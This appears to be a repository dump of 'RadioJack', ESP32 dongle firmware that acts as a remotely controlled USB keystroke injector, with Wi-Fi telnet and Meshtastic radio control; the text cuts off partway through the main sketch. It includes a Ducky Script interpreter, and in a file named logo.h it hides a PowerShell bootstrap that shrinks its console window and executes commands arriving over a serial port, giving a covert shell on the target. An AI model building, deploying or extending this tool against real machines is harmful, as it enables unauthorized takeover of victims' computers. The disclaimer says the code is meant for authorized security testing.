├── data └── img_logo.gif ├── lv_driver.h ├── .gitignore ├── arducky.h ├── pin_config.h ├── .clang-format ├── logo.h ├── MeshtasticWifiBridgeClient.h ├── platformio.ini ├── lv_driver.cpp ├── README.MD ├── MeshtasticWifiBridgeClient.cpp ├── arducky.cpp ├── RadioJack.ino ├── avatargif.c ├── lv_conf.h └── LICENSE /data/img_logo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DanBeard/RadioJack/HEAD/data/img_logo.gif -------------------------------------------------------------------------------- /lv_driver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "lvgl.h" 4 | 5 | 6 | void lvgl_init(void); 7 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .pio 2 | .vscode/.browse.c_cpp.db* 3 | .vscode/c_cpp_properties.json 4 | .vscode/launch.json 5 | .vscode/ipch 6 | -------------------------------------------------------------------------------- /arducky.h: -------------------------------------------------------------------------------- 1 | short executeDucky(fs::FS &fs, const char* ducky_file_path, USBHIDKeyboard& keyboard, char* errmsg, int maxErrMsg); -------------------------------------------------------------------------------- /pin_config.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define BTN_PIN 0 4 | 5 | #define LED_DI_PIN 40 6 | #define LED_CI_PIN 39 7 | 8 | #define TFT_CS_PIN 4 9 | #define TFT_SDA_PIN 3 10 | #define TFT_SCL_PIN 5 11 | #define TFT_DC_PIN 2 12 | #define TFT_RES_PIN 1 13 | #define TFT_LEDA_PIN 38 14 | 15 | #define SD_MMC_D0_PIN 14 16 | #define SD_MMC_D1_PIN 17 17 | #define SD_MMC_D2_PIN 21 18 | #define SD_MMC_D3_PIN 18 19 | #define SD_MMC_CLK_PIN 12 20 | #define SD_MMC_CMD_PIN 16 -------------------------------------------------------------------------------- /.clang-format: -------------------------------------------------------------------------------- 1 | --- 2 | # ref: https://clang.llvm.org/docs/ClangFormatStyleOptions.html 3 | # 语言: None, Cpp, Java, JavaScript, ObjC, Proto, TableGen, TextProto 4 | Language: Cpp 5 | #BasedOnStyle: LLVM 6 | 7 | # 每行字符的限制,0表示没有限制 8 | ColumnLimit: 150 9 | 10 | # 预处理器指令的缩进样式 11 | IndentPPDirectives: None 12 | 13 | MacroBlockBegin: Without 14 | 15 | # 宏定义对齐 16 | AlignConsecutiveMacros: AcrossEmptyLinesAndComments 17 | # Enabled: true 18 | # AcrossEmptyLines: true 19 | # AcrossComments: true 20 | 21 | -------------------------------------------------------------------------------- /logo.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | const String small_window = "[console]::WindowHeight=1;[console]::WindowWidth=1"; 4 | const String bootstrap_ps = R"( 5 | $portname = [System.IO.Ports.SerialPort]::getportnames()[-1] 6 | 7 | $port = [System.IO.Ports.SerialPort]@{ 8 | PortName = $portname 9 | BaudRate = 115200 10 | Parity = 'None' 11 | DataBits = 8 12 | StopBits = 1 13 | Handshake = 'XOnXOff' 14 | } 15 | $port.dtrenable = "true" 16 | $port.open(); 17 | 18 | while($port.isopen) { 19 | $ot = iex $port.readLine() 20 | $port.write($ot + "`n" + "PS " + (pwd).path +"> "); 21 | } 22 | )"; 23 | 24 | 25 | 26 | #pragma once 27 | 28 | -------------------------------------------------------------------------------- /MeshtasticWifiBridgeClient.h: -------------------------------------------------------------------------------- 1 | #ifndef MESHTASTIC_WIFI_BRIDGE_CLIENT 2 | #define MESHTASTIC_WIFI_BRIDGE_CLIENT 3 | 4 | #include 5 | // maximum payload we want to send over meshtastic 6 | #define MAX_MESH_PAYLOAD_LEN 200 7 | // default broadcast address. Change this if you want to try DMs instead of private channels 8 | #define MESH_DEST_ADDR 0xFFFFFFFF 9 | // Meshtastic channel to use by index (maybe choose a private one and not long_fast so not to make it totally public right?) 10 | #define MESH_CHANNEL_IDX 2 11 | 12 | 13 | class MeshtasticWifiBridgeClient : public WiFiClient { 14 | size_t write(const uint8_t *buf, size_t size) override; 15 | String readString() override; 16 | void debug(char * msg); 17 | 18 | public: 19 | void (*write_to_screen)(const char *label1_text) = 0; 20 | void requestConfigInfo(); 21 | 22 | }; 23 | 24 | #endif 25 | 26 | -------------------------------------------------------------------------------- /platformio.ini: -------------------------------------------------------------------------------- 1 | ; PlatformIO Project Configuration File 2 | ; 3 | ; Build options: build flags, source filter 4 | ; Upload options: custom upload port, speed and extra flags 5 | ; Library options: dependencies, extra library storages 6 | ; Advanced options: extra scripting 7 | ; 8 | ; Please visit documentation for the other options and examples 9 | ; https://docs.platformio.org/page/projectconf.html 10 | 11 | [platformio] 12 | src_dir = . 13 | 14 | [env:ESP32-S3-DevKitC-1] 15 | 16 | platform = espressif32 17 | board = esp32-s3-devkitc-1 18 | framework = arduino 19 | 20 | platform_packages = 21 | framework-arduinoespressif32@https://github.com/espressif/arduino-esp32.git#2.0.5 22 | platform_packages = 23 | toolchain-riscv32-esp @ 8.4.0+2021r2-patch5 24 | build_flags = 25 | ; -DBOARD_HAS_PSRAM 26 | -DARDUINO_USB_MODE=1 27 | -DARDUINO_USB_CDC_ON_BOOT=1 28 | -D USER_SETUP_LOADED 29 | -D ST7735_DRIVER 30 | -D SPI_FREQUENCY=50000000 31 | -D TFT_MISO=-1 32 | -D TFT_MOSI=3 33 | -D TFT_SCLK=5 34 | -D TFT_CS=4 35 | -D TFT_DC=2 36 | -D TFT_RST=1 37 | -D TFT_WIDTH=80 38 | -D TFT_HEIGHT=160 39 | -D LOAD_GLCD 40 | -D LOAD_FONT2 41 | -D LOAD_FONT4 42 | -D LOAD_FONT6 43 | -D LOAD_FONT7 44 | -D LOAD_FONT8 45 | -D LOAD_GFXFF 46 | -D SMOOTH_FONT 47 | -D ST7735_GREENTAB160x80 48 | -D TFT_RGB_ORDER=TFT_BGR 49 | -D LV_CONF_INCLUDE_SIMPLE 50 | -D LV_LVGL_H_INCLUDE_SIMPLE 51 | -I . 52 | 53 | 54 | lib_deps = 55 | fastled/FastLED @ ^3.5.0 56 | bodmer/TFT_eSPI @ ^2.4.75 57 | mathertel/OneButton @ ^2.0.3 58 | lvgl/lvgl @ ~8.3.2 59 | 60 | 61 | board_build.partitions = huge_app.csv 62 | ; board_build.arduino.memory_type = qio_opi 63 | 64 | -------------------------------------------------------------------------------- /lv_driver.cpp: -------------------------------------------------------------------------------- 1 | #include "lv_driver.h" 2 | #include "TFT_eSPI.h" 3 | 4 | #define LV_SCREEN_WIDTH 160 5 | #define LV_SCREEN_HEIGHT 80 6 | #define LV_BUF_SIZE (LV_SCREEN_WIDTH * LV_SCREEN_HEIGHT) 7 | 8 | extern TFT_eSPI tft; 9 | extern uint8_t btn_press; 10 | 11 | static void lv_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p) { 12 | uint32_t w = (area->x2 - area->x1 + 1); 13 | uint32_t h = (area->y2 - area->y1 + 1); 14 | tft.setAddrWindow(area->x1, area->y1, w, h); 15 | tft.pushColors((uint16_t *)&color_p->full, w * h); 16 | lv_disp_flush_ready(disp); 17 | } 18 | 19 | // static void lv_btn_read(lv_indev_drv_t *indev_drv, lv_indev_data_t *data) { 20 | // if (btn_press) { 21 | // btn_press = false; 22 | // data->state = LV_INDEV_STATE_PRESSED; 23 | // data->key = LV_KEY_NEXT; 24 | // HWSerialprintln(__FUNCTION__); 25 | // } 26 | // } 27 | 28 | void lvgl_init(void) { 29 | static lv_disp_draw_buf_t draw_buf; 30 | static lv_color_t *buf1; 31 | 32 | lv_init(); 33 | buf1 = (lv_color_t *)heap_caps_malloc(LV_BUF_SIZE * sizeof(lv_color_t), MALLOC_CAP_8BIT); 34 | assert(buf1); 35 | 36 | lv_disp_draw_buf_init(&draw_buf, buf1, NULL, LV_BUF_SIZE); 37 | 38 | /*Initialize the display*/ 39 | static lv_disp_drv_t disp_drv; 40 | lv_disp_drv_init(&disp_drv); 41 | /*Change the following line to your display resolution*/ 42 | disp_drv.hor_res = LV_SCREEN_WIDTH; 43 | disp_drv.ver_res = LV_SCREEN_HEIGHT; 44 | disp_drv.flush_cb = lv_disp_flush; 45 | disp_drv.draw_buf = &draw_buf; 46 | lv_disp_drv_register(&disp_drv); 47 | 48 | 49 | // static lv_indev_drv_t indev_drv; 50 | // lv_indev_drv_init(&indev_drv); 51 | // indev_drv.type = LV_INDEV_TYPE_KEYPAD; 52 | // indev_drv.read_cb = lv_btn_read; 53 | // lv_indev_drv_register(&indev_drv); 54 | } -------------------------------------------------------------------------------- /README.MD: -------------------------------------------------------------------------------- 1 | ,------. ,--.,--. ,--. ,--. 2 | | .--. ' ,--,--. ,-| |`--' ,---. | | ,--,--. ,---.| |,-. 3 | | '--'.'' ,-. |' .-. |,--.| .-. |,--. | |' ,-. || .--'| / 4 | | |\ \ \ '-' |\ `-' || |' '-' '| '-' /\ '-' |\ `--.| \ \ 5 | `--' '--' `--`--' `---' `--' `---' `-----' `--`--' `---'`--'`--' 6 | 7 | 8 | 9 | ## Install Instructions 10 | First follow the instructions for the Arduino environment at https://github.com/Xinyuan-LilyGO/T-Dongle-S3/tree/main . 11 | 12 | Note: Install ESP32 version 2.0.14 or earlier. Anything after 2.0.14 is not supported by the T-Dongle at time of writing (check the GitHub above for most recent notes) 13 | 14 | Once the provided example firmware is compiling and flashing, open the RadioJack Arduino project. Compile and flash. 15 | 16 | ### Optional Meshtastic support 17 | If you want to be able to use the meshtastic bridge then make sure that https://github.com/meshtastic/Meshtastic-arduino is also in your arduini library folder 18 | and MESH_BRIDGE_ENABLED macro is defined. Further customization (Channel index, payload length, etc) is controlled via macors in MestasticWifiBridgeClient.h ) 19 | 20 | ## Usage Instructions 21 | Connect to the WIFI SSD shown on the screen. It should be unique per device. The SSID password is defined in the code. The password is "thisisthepassword" by default and can be changed. 22 | Telnet to the IP shown on the screen. Follow the intuitive text-based interface! 23 | 24 | ### Troubleshooting notes 25 | 26 | If the skull animation stops laughing it means the board has frozen. Power cycle it. 27 | 28 | If you want to reflash the board, then hold the button while you plug it into your USB port and let go AFTER it has been fully plugged in. 29 | 30 | ## Disclaimer 31 | This code is provided for educational purposes only. It is intended for authorized auditing and security analysis purposes only where permitted. Users are solely responsible for compliance with all laws of their locality. Authors of this repository claim no responsibility for unauthorized or unlawful use. 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /MeshtasticWifiBridgeClient.cpp: -------------------------------------------------------------------------------- 1 | #include "MeshtasticWifiBridgeClient.h" 2 | #include "Meshtastic.h" 3 | #include "pb_encode.h" 4 | #include "pb_decode.h" 5 | 6 | 7 | 8 | // constants taken from mt_protocol.cpp 9 | // Magic number at the start of all MT packets 10 | #define MT_MAGIC_0 0x94 11 | #define MT_MAGIC_1 0xc3 12 | 13 | // The header is the magic number plus a 16-bit payload-length field 14 | #define MT_HEADER_SIZE 4 15 | 16 | // The buffer used for protobuf encoding/decoding. Since there's only one, and it's global, we 17 | // have to make sure we're only ever doing one encoding or decoding at a time. 18 | #define PB_BUFSIZE 512 19 | 20 | // Nonce to request only my nodeinfo and skip other nodes in the db 21 | #define SPECIAL_NONCE 69420 22 | 23 | // Wait this many msec if there's nothing new on the channel 24 | #define NO_NEWS_PAUSE 25 25 | 26 | 27 | pb_byte_t mesh_buf[PB_BUFSIZE+4]; 28 | 29 | size_t MeshtasticWifiBridgeClient::write(const uint8_t *buf, size_t size) { 30 | 31 | // edge case... if size is greater than MAX_MESH_PAYLOAD_LEN we need to split it up into multiple packers 32 | if(size > MAX_MESH_PAYLOAD_LEN) { 33 | size_t bytes_written = 0; 34 | for(size_t i=0; i<=size; i += min(((size_t) MAX_MESH_PAYLOAD_LEN), (size-i))) { 35 | bytes_written += write(buf+i, min(((size_t) MAX_MESH_PAYLOAD_LEN), (size-i))); 36 | } 37 | return bytes_written; 38 | } 39 | 40 | // thanks to meshtastic-arduino for this code 41 | // construct proto struct 42 | meshtastic_MeshPacket meshPacket = meshtastic_MeshPacket_init_default; 43 | meshPacket.which_payload_variant = meshtastic_MeshPacket_decoded_tag; 44 | meshPacket.id = random(0x7FFFFFFF); 45 | meshPacket.decoded.portnum = meshtastic_PortNum_TEXT_MESSAGE_APP; 46 | meshPacket.to = MESH_DEST_ADDR; // this should be filled in by the radio right? 47 | meshPacket.channel = MESH_CHANNEL_IDX; 48 | meshPacket.want_ack = true; 49 | meshPacket.decoded.payload.size = size; 50 | memcpy(meshPacket.decoded.payload.bytes, buf, size); 51 | 52 | meshtastic_ToRadio toRadio = meshtastic_ToRadio_init_default; 53 | toRadio.which_payload_variant = meshtastic_ToRadio_packet_tag; 54 | toRadio.packet = meshPacket; 55 | 56 | // construct raw packet 57 | mesh_buf[0] = MT_MAGIC_0; 58 | mesh_buf[1] = MT_MAGIC_1; 59 | 60 | pb_ostream_t stream = pb_ostream_from_buffer(mesh_buf + 4, PB_BUFSIZE); 61 | bool status = pb_encode(&stream, meshtastic_ToRadio_fields, &toRadio); 62 | if (!status) { 63 | return 0; 64 | } 65 | 66 | // Store the payload length in the header 67 | mesh_buf[2] = stream.bytes_written / 256; 68 | mesh_buf[3] = stream.bytes_written % 256; 69 | 70 | 71 | return WiFiClient::write((const uint8_t *)mesh_buf, 4 + stream.bytes_written); 72 | } 73 | 74 | char str_buf[PB_BUFSIZE]; // string buf to hold resp 75 | String MeshtasticWifiBridgeClient::readString() { 76 | if (!connected()) { 77 | write_to_screen("Not connected. Weird"); 78 | return String(""); 79 | } 80 | 81 | memset(mesh_buf,0,PB_BUFSIZE); 82 | 83 | unsigned char* buf = mesh_buf; // use meshbuf to build the proto obj 84 | 85 | size_t bytes_read = 0; 86 | bool start1_seen =false; 87 | bool start2_seen = false; 88 | uint16_t payload_len = 0; 89 | while (this->available()) { 90 | char c = this->read(); 91 | // only start once we get the first header magic bytes 92 | if(!start1_seen){ 93 | if(c == MT_MAGIC_0) start1_seen = true; 94 | else continue; 95 | } else if(!start2_seen) { 96 | if(c == MT_MAGIC_1) start2_seen = true; 97 | else continue; 98 | } else if(payload_len == 0 && bytes_read >= 4) { // get packet size 99 | payload_len = mesh_buf[2] << 8 | mesh_buf[3]; 100 | if(payload_len > PB_BUFSIZE) { 101 | debug("Impossible Size!"); 102 | return String(""); 103 | } 104 | } 105 | 106 | *buf++ = c; 107 | if (++bytes_read >= PB_BUFSIZE + 4) { 108 | // corrupt start over 109 | debug("Bad packet. Buffer overrun"); 110 | return String(""); 111 | } 112 | if(payload_len != 0 && bytes_read >= payload_len + 4){ 113 | break; // we're done with this packet, move on. 114 | } 115 | } 116 | 117 | // at this point buf should contain a single good fromRadio packet (with the 4 byte header in front) 118 | meshtastic_FromRadio fromRadio = meshtastic_FromRadio_init_zero; 119 | 120 | // Decode the protobuf 121 | pb_istream_t stream = pb_istream_from_buffer(mesh_buf + 4, payload_len); 122 | bool status = pb_decode(&stream, meshtastic_FromRadio_fields, &fromRadio); 123 | if (!status) { 124 | write_to_screen("Decoding Failed"); 125 | return String(""); 126 | } 127 | 128 | 129 | switch (fromRadio.which_payload_variant) { 130 | case meshtastic_FromRadio_my_info_tag: 131 | case meshtastic_FromRadio_node_info_tag: 132 | case meshtastic_FromRadio_config_complete_id_tag: 133 | case meshtastic_FromRadio_rebooted_tag: 134 | return String(""); // we don't care about these packets 135 | 136 | case meshtastic_FromRadio_packet_tag: { 137 | meshtastic_MeshPacket *meshPacket = &fromRadio.packet; 138 | if (meshPacket->which_payload_variant == meshtastic_MeshPacket_decoded_tag 139 | && meshPacket->decoded.portnum == meshtastic_PortNum_TEXT_MESSAGE_APP 140 | && meshPacket->channel == MESH_CHANNEL_IDX) { 141 | 142 | //zero out 143 | memset(str_buf,0,PB_BUFSIZE); 144 | memcpy(str_buf, meshPacket->decoded.payload.bytes,meshPacket->decoded.payload.size); 145 | return String(str_buf)+"\n"; // we need to add a newline here because it looks like meshtatic is stripping trailing whitespace and newlines. Is this a meshtastic thing or and android app thing? dunno 146 | } 147 | break; 148 | } 149 | 150 | default: 151 | //debug("unrecon payload variant"); 152 | return String(""); 153 | } 154 | 155 | return String(""); 156 | } 157 | 158 | void MeshtasticWifiBridgeClient::requestConfigInfo() { 159 | meshtastic_ToRadio toRadio = meshtastic_ToRadio_init_default; 160 | toRadio.which_payload_variant = meshtastic_ToRadio_want_config_id_tag; 161 | toRadio.want_config_id = SPECIAL_NONCE; 162 | 163 | // construct raw packet 164 | mesh_buf[0] = MT_MAGIC_0; 165 | mesh_buf[1] = MT_MAGIC_1; 166 | 167 | pb_ostream_t stream = pb_ostream_from_buffer(mesh_buf + 4, PB_BUFSIZE); 168 | bool status = pb_encode(&stream, meshtastic_ToRadio_fields, &toRadio); 169 | if (!status) { 170 | return; 171 | } 172 | 173 | // Store the payload length in the header 174 | mesh_buf[2] = stream.bytes_written / 256; 175 | mesh_buf[3] = stream.bytes_written % 256; 176 | 177 | 178 | WiFiClient::write((const uint8_t *)mesh_buf, 4 + stream.bytes_written); 179 | write_to_screen("Info req sent"); 180 | } 181 | 182 | void MeshtasticWifiBridgeClient::debug(char * msg) { 183 | write_to_screen(msg); 184 | write((const uint8_t *)msg, strlen(msg)); 185 | } -------------------------------------------------------------------------------- /arducky.cpp: -------------------------------------------------------------------------------- 1 | // modified from arducky -- https://github.com/Creased/arducky/blob/master/arducky.ino 2 | 3 | // SD card read/write 4 | #include "Arduino.h" 5 | #include "lv_driver.h" 6 | #include "pin_config.h" 7 | #include "USB.h" 8 | #include "USBHIDKeyboard.h" 9 | #include "USBHIDMouse.h" 10 | #include "FS.h" 11 | 12 | /** 13 | * Variables 14 | **/ 15 | #define KEY_MENU 0xED 16 | #define KEY_PAUSE 0xD0 17 | #define KEY_NUMLOCK 0xDB 18 | #define KEY_PRINTSCREEN 0xCE 19 | #define KEY_SCROLLLOCK 0xCF 20 | #define KEY_SPACE 0xB4 21 | #define KEY_BACKSPACE 0xB2 22 | 23 | 24 | void processCommand(USBHIDKeyboard keyboard, String command) { 25 | /* 26 | * Process commands by pressing corresponding key 27 | * (see https://www.arduino.cc/en/Reference/KeyboardModifiers or 28 | * http://www.usb.org/developers/hidpage/Hut1_12v2.pdf#page=53) 29 | */ 30 | 31 | if (command.length() == 1) { // Process key (used for example for WIN L command) 32 | char c = (char) command[0]; // Convert string (1-char length) to char 33 | keyboard.press(c); // Press the key on keyboard 34 | } else if (command == "ENTER") { 35 | keyboard.press(KEY_RETURN); 36 | } else if (command == "MENU" || command == "APP") { 37 | keyboard.press(KEY_MENU); 38 | } else if (command == "DOWNARROW" || command == "DOWN") { 39 | keyboard.press(KEY_DOWN_ARROW); 40 | } else if (command == "LEFTARROW" || command == "LEFT") { 41 | keyboard.press(KEY_LEFT_ARROW); 42 | } else if (command == "RIGHTARROW" || command == "RIGHT") { 43 | keyboard.press(KEY_RIGHT_ARROW); 44 | } else if (command == "UPARROW" || command == "UP") { 45 | keyboard.press(KEY_UP_ARROW); 46 | } else if (command == "BREAK" || command == "PAUSE") { 47 | keyboard.press(KEY_PAUSE); 48 | } else if (command == "CAPSLOCK") { 49 | keyboard.press(KEY_CAPS_LOCK); 50 | } else if (command == "DELETE" || command == "DEL") { 51 | keyboard.press(KEY_DELETE); 52 | } else if (command == "END") { 53 | keyboard.press(KEY_END); 54 | } else if (command == "ESC" || command == "ESCAPE") { 55 | keyboard.press(KEY_ESC); 56 | } else if (command == "HOME") { 57 | keyboard.press(KEY_HOME); 58 | } else if (command == "INSERT") { 59 | keyboard.press(KEY_INSERT); 60 | } else if (command == "NUMLOCK") { 61 | keyboard.press(KEY_NUMLOCK); 62 | } else if (command == "PAGEUP") { 63 | keyboard.press(KEY_PAGE_UP); 64 | } else if (command == "PAGEDOWN") { 65 | keyboard.press(KEY_PAGE_DOWN); 66 | } else if (command == "PRINTSCREEN") { 67 | keyboard.press(KEY_PRINTSCREEN); 68 | } else if (command == "SCROLLLOCK") { 69 | keyboard.press(KEY_SCROLLLOCK); 70 | } else if (command == "SPACE") { 71 | keyboard.press(KEY_SPACE); 72 | } else if (command == "BACKSPACE") { 73 | keyboard.press(KEY_BACKSPACE); 74 | } else if (command == "TAB") { 75 | keyboard.press(KEY_TAB); 76 | } else if (command == "GUI" || command == "WINDOWS") { 77 | keyboard.press(KEY_LEFT_GUI); 78 | } else if (command == "SHIFT") { 79 | keyboard.press(KEY_RIGHT_SHIFT); 80 | } else if (command == "ALT") { 81 | keyboard.press(KEY_LEFT_ALT); 82 | } else if (command == "CTRL" || command == "CONTROL") { 83 | keyboard.press(KEY_LEFT_CTRL); 84 | } else if (command == "F1" || command == "FUNCTION1") { 85 | keyboard.press(KEY_F1); 86 | } else if (command == "F2" || command == "FUNCTION2") { 87 | keyboard.press(KEY_F2); 88 | } else if (command == "F3" || command == "FUNCTION3") { 89 | keyboard.press(KEY_F3); 90 | } else if (command == "F4" || command == "FUNCTION4") { 91 | keyboard.press(KEY_F4); 92 | } else if (command == "F5" || command == "FUNCTION5") { 93 | keyboard.press(KEY_F5); 94 | } else if (command == "F6" || command == "FUNCTION6") { 95 | keyboard.press(KEY_F6); 96 | } else if (command == "F7" || command == "FUNCTION7") { 97 | keyboard.press(KEY_F7); 98 | } else if (command == "F8" || command == "FUNCTION8") { 99 | keyboard.press(KEY_F8); 100 | } else if (command == "F9" || command == "FUNCTION9") { 101 | keyboard.press(KEY_F9); 102 | } else if (command == "F10" || command == "FUNCTION10") { 103 | keyboard.press(KEY_F10); 104 | } else if (command == "F11" || command == "FUNCTION11") { 105 | keyboard.press(KEY_F11); 106 | } else if (command == "F12" || command == "FUNCTION12") { 107 | keyboard.press(KEY_F12); 108 | } 109 | } 110 | 111 | void processLine(String line, USBHIDKeyboard keyboard) { 112 | /* 113 | * Process Ducky Script according to the official documentation (see https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript). 114 | * 115 | * (1) Commands without payload: 116 | * - ENTER 117 | * - MENU <=> APP 118 | * - DOWNARROW <=> DOWN 119 | * - LEFTARROW <=> LEFT 120 | * - RIGHTARROW <=> RIGHT 121 | * - UPARROW <=> UP 122 | * - BREAK <=> PAUSE 123 | * - CAPSLOCK 124 | * - DELETE 125 | * - END 126 | * - ESC <=> ESCAPE 127 | * - HOME 128 | * - INSERT 129 | * - NUMLOCK 130 | * - PAGEUP 131 | * - PAGEDOWN 132 | * - PRINTSCREEN 133 | * - SCROLLLOCK 134 | * - SPACE 135 | * - TAB 136 | * - REPLAY (global commands aren't implemented) 137 | * 138 | * (2) Commands with payload: 139 | * - DEFAULT_DELAY <=> DEFAULTDELAY (global commands aren't implemented.) 140 | * - DELAY (+int) 141 | * - STRING (+string) 142 | * - GUI <=> WINDOWS (+char) 143 | * - SHIFT (+char or key) 144 | * - ALT (+char or key) 145 | * - CTRL <=> CONTROL (+char or key) 146 | * - REM (+string) 147 | * 148 | */ 149 | 150 | int space = line.indexOf(' '); // Find the first 'space' that'll be used to separate the payload from the command 151 | String command = ""; 152 | String payload = ""; 153 | 154 | if (space == -1) { // There is no space -> (1) 155 | if ( 156 | line == "ENTER" || 157 | line == "MENU" || line == "APP" | 158 | line == "DOWNARROW" || line == "DOWN" || 159 | line == "LEFTARROW" || line == "LEFT" || 160 | line == "RIGHTARROW" || line == "RIGHT" || 161 | line == "UPARROW" || line == "UP" || 162 | line == "BREAK" || line == "PAUSE" || 163 | line == "CAPSLOCK" || 164 | line == "DELETE" || 165 | line == "END" || 166 | line == "ESC" || line == "ESCAPE" || 167 | line == "HOME" || 168 | line == "INSERT" || 169 | line == "NUMLOCK" || 170 | line == "PAGEUP" || 171 | line == "PAGEDOWN" || 172 | line == "PRINTSCREEN" || 173 | line == "SCROLLLOCK" || 174 | line == "SPACE" || 175 | line == "TAB" 176 | ) { 177 | command = line; 178 | } 179 | } else { // Has a space -> (2) 180 | command = line.substring(0, space); // Get chars in line from start to space position 181 | payload = line.substring(space + 1); // Get chars in line from after space position to EOL 182 | 183 | if ( 184 | command == "DELAY" || 185 | command == "STRING" || 186 | command == "GUI" || command == "WINDOWS" || 187 | command == "SHIFT" || 188 | command == "ALT" || 189 | command == "CTRL" || command == "CONTROL" || 190 | command == "REM" 191 | ) { } else { 192 | // Invalid command 193 | command = ""; 194 | payload = ""; 195 | } 196 | } 197 | 198 | if (payload == "" && command != "") { // Command from (1) 199 | processCommand(keyboard, command); // Process command 200 | } else if (command == "DELAY") { // Delay before the next commande 201 | delay((int) payload.toInt()); // Convert payload to integer and make pause for 'payload' time 202 | } else if (command == "STRING") { // String processing 203 | keyboard.print(payload); // Type-in the payload 204 | } else if (command == "REM") { // Comment 205 | } else if (command != "") { // Command from (2) 206 | String remaining = line; // Prepare commands to run 207 | while (remaining.length() > 0) { // For command in remaining commands 208 | int space = remaining.indexOf(' '); // Find the first 'space' that'll be used to separate commands 209 | if (space != -1) { // If this isn't the last command 210 | processCommand(keyboard, remaining.substring(0, space)); // Process command 211 | remaining = remaining.substring(space + 1); // Pop command from remaining commands 212 | } else { // If this is the last command 213 | processCommand(keyboard, remaining); // Pop command from remaining commands 214 | remaining = ""; // Clear commands (end of loop) 215 | } 216 | } 217 | } else { 218 | // Invalid command 219 | } 220 | 221 | keyboard.releaseAll(); 222 | } 223 | 224 | short executeDucky(fs::FS &fs, const char* ducky_file_path, USBHIDKeyboard& keyboard, char* errmsg, int maxErrMsg) { 225 | 226 | File file = fs.open(ducky_file_path); 227 | if (!file) { 228 | strncpy(errmsg, "Failed to open file for reading", maxErrMsg); 229 | return 3; 230 | } 231 | 232 | // read from the file and execute line by line 233 | String line = ""; 234 | while (file.available()) { // For each char in buffer 235 | // Read char from buffer 236 | char c = file.read(); 237 | 238 | // Process char 239 | if ((int) c == 0x0a){ // Line ending (LF) reached 240 | processLine(line, keyboard); // Process script line by reading command and payload 241 | line = ""; // Clean the line to process next 242 | } else if((int) c != 0x0d) { // If char isn't a carriage return (CR) 243 | line += c; // Put char into line 244 | } 245 | } 246 | 247 | return 0; 248 | 249 | } 250 | -------------------------------------------------------------------------------- /RadioJack.ino: -------------------------------------------------------------------------------- 1 | #include "Arduino.h" 2 | #include "SD_MMC.h" 3 | #include "logo.h" 4 | #include "lv_driver.h" 5 | #include "pin_config.h" 6 | #include "esp_wifi.h" 7 | 8 | /* external library */ 9 | /* To use Arduino, you need to place lv_conf.h in the \Arduino\libraries directory */ 10 | #include "OneButton.h" // https://github.com/mathertel/OneButton 11 | #include "TFT_eSPI.h" // https://github.com/Bodmer/TFT_eSPI 12 | 13 | #include "lv_conf.h" 14 | #include "lvgl.h" // https://github.com/lvgl/lvgl 15 | #include // https://github.com/FastLED/FastLED 16 | 17 | #include "USB.h" 18 | #include "USBHIDKeyboard.h" 19 | #include "USBHIDMouse.h" 20 | 21 | #include 22 | #include 23 | #include 24 | 25 | 26 | #include "arducky.h" 27 | 28 | // Should we include meshtastic bridge support? 29 | #define MESH_BRIDGE_ENABLED 30 | #define MESH_TCP_PORT 4403 31 | 32 | 33 | #ifdef MESH_BRIDGE_ENABLED 34 | #include "MeshtasticWifiBridgeClient.h" 35 | #endif 36 | 37 | // Serial globals 38 | 39 | // #if ARDUINO_USB_CDC_ON_BOOT 40 | // #define HWSerial Serial0 41 | // #define USBSerial Serial 42 | // #else 43 | #define HWSerial Serial 44 | USBCDC USBSerial2; 45 | //#endif 46 | 47 | // USB globals 48 | USBHIDKeyboard keyboard; 49 | USBHIDMouse mouse; 50 | 51 | // Wifi Globals 52 | char ssid[25]; // sside generated in sprintf in setup() 53 | const char *password = "thisisthepassword"; // after updating to esp32 2.0.14 this password needs to be longer than "thepassword". Dunno why. 54 | 55 | WiFiServer server(23); 56 | 57 | // Screen globals 58 | LV_IMG_DECLARE(avatargif); 59 | TFT_eSPI tft = TFT_eSPI(); 60 | CRGB leds; 61 | OneButton button(BTN_PIN, true); 62 | uint8_t btn_press = 0; 63 | lv_obj_t *label; 64 | 65 | // state machine globals 66 | enum RJ_STATE { 67 | MENU_STATE = 0, 68 | PAYLOAD_STATE, 69 | KEYBOARD_STATE, 70 | SERIAL_STATE, 71 | DUCKY_STATE, // input for ducky 72 | DUCKY_EXE_STATE // running ducky script 73 | }; 74 | 75 | RJ_STATE state = MENU_STATE; 76 | 77 | void led_task(void *param) { 78 | while (1) { 79 | static uint8_t hue = 0; 80 | leds = CHSV(hue++, 0XFF, 100); 81 | FastLED.show(); 82 | delay(50); 83 | } 84 | } 85 | 86 | #define PRINT_STR(str, x, y) \ 87 | do { \ 88 | Serial.println(str); \ 89 | tft.drawString(str, x, y); \ 90 | y += 8; \ 91 | } while (0); 92 | 93 | char label_text[255]; 94 | void refresh_label_text() { 95 | label_text[0]='\0'; 96 | strcat(label_text, ssid); 97 | strcat(label_text, "\n"); 98 | IPAddress myIP = WiFi.softAPIP(); 99 | strcat(label_text, myIP.toString().c_str()); 100 | } 101 | void sd_init(void) { 102 | int32_t x, y; 103 | SD_MMC.setPins(SD_MMC_CLK_PIN, SD_MMC_CMD_PIN, SD_MMC_D0_PIN, SD_MMC_D1_PIN, SD_MMC_D2_PIN, SD_MMC_D3_PIN); 104 | if (!SD_MMC.begin()) { 105 | PRINT_STR("Card Mount Failed", x, y) 106 | return; 107 | } 108 | uint8_t cardType = SD_MMC.cardType(); 109 | 110 | if (cardType == CARD_NONE) { 111 | PRINT_STR("No SD_MMC card attached", x, y) 112 | return; 113 | } 114 | String str; 115 | str = "SD_MMC Card Type: "; 116 | if (cardType == CARD_MMC) { 117 | str += "MMC"; 118 | } else if (cardType == CARD_SD) { 119 | str += "SD_MMCSC"; 120 | } else if (cardType == CARD_SDHC) { 121 | str += "SD_MMCHC"; 122 | } else { 123 | str += "UNKNOWN"; 124 | } 125 | 126 | PRINT_STR(str, x, y) 127 | uint32_t cardSize = SD_MMC.cardSize() / (1024 * 1024); 128 | 129 | str = "SD_MMC Card Size: "; 130 | str 